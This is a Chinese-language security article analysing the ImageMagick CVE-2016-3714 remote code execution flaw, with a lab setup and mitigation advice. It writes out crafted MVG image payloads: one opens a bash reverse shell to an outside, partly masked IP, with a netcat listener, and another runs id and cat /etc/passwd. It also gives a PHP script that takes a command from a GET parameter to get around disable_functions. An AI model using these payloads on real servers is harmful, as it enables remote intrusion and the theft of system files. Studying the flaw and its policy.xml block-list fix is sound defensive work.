自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

ImageMagick遠程執(zhí)行漏洞分析及利用

安全 應(yīng)用安全
ImageMagick是一套功能強大、穩(wěn)定而且開源的工具集和開發(fā)包,可以用來讀、寫和處理超過89種基本格式的圖片文件,包括流行的TIFF、JPEG、GIF、 PNG、PDF以及PhotoCD等格式。

1.1ImageMagick簡介

1. ImageMagick簡介

ImageMagick是一套功能強大、穩(wěn)定而且開源的工具集和開發(fā)包,可以用來讀、寫和處理超過89種基本格式的圖片文件,包括流行的TIFF、JPEG、GIF、 PNG、PDF以及PhotoCD等格式。利用ImageMagick,你可以根據(jù)web應(yīng)用程序的需要動態(tài)生成圖片, 還可以對一個(或一組)圖片進行改變大小、旋轉(zhuǎn)、銳化、減色或增加特效等操作,并將操作的結(jié)果以相同格式或其它格式保存,對圖片的操作,即可以通過命令行進行,也可以用C/C++、Perl、Java、PHP、Python或Ruby編程來完成。同時ImageMagick提供了一個高質(zhì)量的2D工具包,部分支持SVG。ImageMagic的主要精力集中在性能,減少bug以及提供穩(wěn)定的API和ABI上,其官方站點為http://www.imagemagick.org/。

ImageMagick 是一個用來創(chuàng)建、編輯、合成圖片的軟件。它可以讀取、轉(zhuǎn)換、寫入多種格式的圖片。圖片切割、顏色替換、各種效果的應(yīng)用,圖片的旋轉(zhuǎn)、組合,文本,直線, 多邊形,橢圓,曲線,附加到圖片伸展旋轉(zhuǎn)。ImageMagick是免費軟件:全部源碼開放,可以自由使用,復(fù)制,修改,發(fā)布。支持大多數(shù)的操作系統(tǒng)。

2. ImageMagick主要功能

(1)將圖片從一個格式轉(zhuǎn)換到另一個格式,包括直接轉(zhuǎn)換成圖標(biāo)。

(2)改變尺寸、旋轉(zhuǎn)、銳化(sharpen)、減色、圖片特效

(3)縮略圖片的合成圖( a montage of image thumbnails)

(4) 適于web的背景透明的圖片

(5)將一組圖片作成gif動畫,直接convert

(6) 將幾張圖片作成一張組合圖片,montage

(7)在一個圖片上寫字或畫圖形,帶文字陰影和邊框渲染。

(8) 給圖片加邊框或框架

(9)取得一些圖片的特性信息

(10)幾乎包括了gimp可以作到的常規(guī)插件功能。甚至包括各種曲線參數(shù)的渲染功能。只是那命令的寫法,夠復(fù)雜。

ImageMagick幾乎可以在任何非專有的操作系統(tǒng)上編譯,無論是32位還是64位的CPU,包括LINUX,Windows '95/'98/ME/NT 4.0/2000/XP,Macintosh (MacOS 9 /10), VMS 和 OS/2.

1.2ImageMagick(CVE-2016-3714)遠程執(zhí)行漏洞分析

ImageMagick(CVE-2016-3714)遠程執(zhí)行漏洞產(chǎn)生原因是因為字符過濾不嚴謹所導(dǎo)致的執(zhí)行代碼. 對于文件名傳遞給后端的命令過濾不足,導(dǎo)致允許多種文件格式轉(zhuǎn)換過程中遠程執(zhí)行代碼。

影響版本范圍:

  • ImageMagick6.5.7-8 2012-08-17
  • ImageMagick6.7.7-10 2014-03-06
  • 低版本至6.9.3-9 released 2016-04-30

1.3可利用POC測試

1.實驗環(huán)境

Centos5.8+ ImageMagick 6.2.8

2.安裝步驟

在centos中默認安裝是ImageMagick 6.2.8,本次安裝6.7.7-10版本。

  1. yumremove ImageMagick  
  2. wget http://www.imagemagick.org/download/releases/ImageMagick-6.5.7-10.tar.xz  
  3. tar xvJf ImageMagick-6.5.7-10.tar.xz  
  4. cd ImageMagick-6.5.7-10  
  5. ./configure  
  6. make  
  7. make install 

注意:tar.xz的文件需要先使用7zip解壓為tar文件,然后再使用tar-zxvf進行解壓。

3.生成反彈shell的png文件

先構(gòu)建一個精心準(zhǔn)備的圖片,將以下內(nèi)容保存為sh.png,其中122.115.4x.3x為反彈到監(jiān)聽端口的服務(wù)器,監(jiān)聽端口為4433。

  1. pushgraphic-context  
  2. viewbox 0 0640 480  
  3. fill'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/122.115.4x.3x/44330>&1")' 

4.執(zhí)行命令

在執(zhí)行命令前,需要在反彈服務(wù)器上執(zhí)行“nc -vv -l -p 4433”命令。執(zhí)行“convert sh.png 1.png”后,終端會沒有反應(yīng),直到反彈shell退出以后,如圖1所示。

圖1執(zhí)行convert命令

4.獲取反彈shell

執(zhí)行convert命令后,會根據(jù)網(wǎng)絡(luò)情況,在監(jiān)聽服務(wù)器上會延遲數(shù)秒,如圖2所示,直接獲取反彈webshell。

圖2獲取反彈webshell

在反彈shell中終止后,會顯示錯誤信息,如圖3所示。

圖3顯示錯誤信息

1.4總結(jié)與探討

1.本地漏洞存在exp測試

(1)構(gòu)建exp.png

  1. pushgraphic-context  
  2. viewbox 0 0640 480  
  3. fill'url(https://example.com/image.jpg"|id & cat /etc/passwd")'  
  4. popgraphic-context 

(2)執(zhí)行exp獲取id和查看passwd文件

在終端模式中執(zhí)行convert exp.png 1.png后會顯示ID和passwd中的內(nèi)容,如圖4所示,這說明漏洞存在。

圖4執(zhí)行exp檢測漏洞

2.利用ImageMagick漏洞繞過disable_function

將以下代碼保存為exp.php

  1. <?php  
  2. echo"Disable Functions: " . ini_get('disable_functions') ."\n" 
  3. $command =PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];  
  4. if ($command== '') {  
  5. $command = 'id' 
  6.  
  7. $exploit =<<<EOF  
  8. pushgraphic-context  
  9. viewbox 0 0640 480  
  10. fill'url(https://example.com/image.jpg"|$command")'  
  11. popgraphic-context  
  12. EOF;  
  13. file_put_contents("KKKK.mvg",$exploit);  
  14. $thumb = newImagick();  
  15. $thumb->readImage('KKKK.mvg');  
  16. $thumb->writeImage('KKKK.png');  
  17. $thumb->clear();  
  18. $thumb->destroy();  
  19. unlink("KKKK.mvg");  
  20. unlink("KKKK.png");  
  21. ?> 

3、防范方法

目前官方的最新修復(fù)補丁版本還未能出來,所以暫時建議做以下兩種預(yù)防策略:

(1)在上傳圖片時需要通過文件內(nèi)容來判斷用戶上傳的是否為真實圖片類型。

處理圖片前,先檢查圖片的 “magic bytes”,也就是圖片頭,如果圖片頭不是你想要的格式,那么就不調(diào)用ImageMagick處理圖片。如果你是php用戶,可以使用getimagesize函數(shù)來檢查圖片格式,而如果你是wordpress等web應(yīng)用的使用者,可以暫時卸載ImageMagick,使用php自帶的gd庫來處理圖片。

(2)使用策略配置文件來禁用ImageMagick的有風(fēng)險的編碼器

對于ImageMagick全局策略配置文件在/etc/ImageMagick下對policy.xml最后一行進行增加下列配置:

  1. <policymap> 
  2. <policydomain="codeer" rights="none" pattern="EPHEMERAL"/> 
  3. <policydomain="codeer" rights="none" pattern="URL" /> 
  4. <policydomain="codeer" rights="none" pattern="HTTPS"/>  
  5. <policydomain="codeer" rights="none" pattern="MVG" /> 
  6. <policydomain="codeer" rights="none" pattern="MSL" />  
  7. </policymap> 

 

責(zé)任編輯:武曉燕 來源: 安天365
相關(guān)推薦

2017-08-22 13:45:27

2017-01-19 20:56:14

2020-10-08 13:44:27

漏洞

2020-10-28 14:58:21

漏洞uTorrent協(xié)議層

2014-08-27 16:22:19

2019-02-26 15:15:16

DNS漏洞IP

2019-04-02 08:30:03

2015-06-18 10:49:31

2015-09-20 20:13:55

2016-04-29 10:58:13

2017-05-25 22:20:05

2024-11-19 15:58:56

2021-01-26 10:00:45

漏洞網(wǎng)絡(luò)安全網(wǎng)絡(luò)攻擊

2015-03-06 15:31:01

2015-07-16 17:08:14

零日漏洞遠程執(zhí)行漏洞Hacking Tea

2024-12-19 13:42:48

2023-07-26 17:13:38

2017-05-27 10:22:37

2013-03-22 10:00:14

2017-03-08 22:23:02

點贊
收藏

51CTO技術(shù)棧公眾號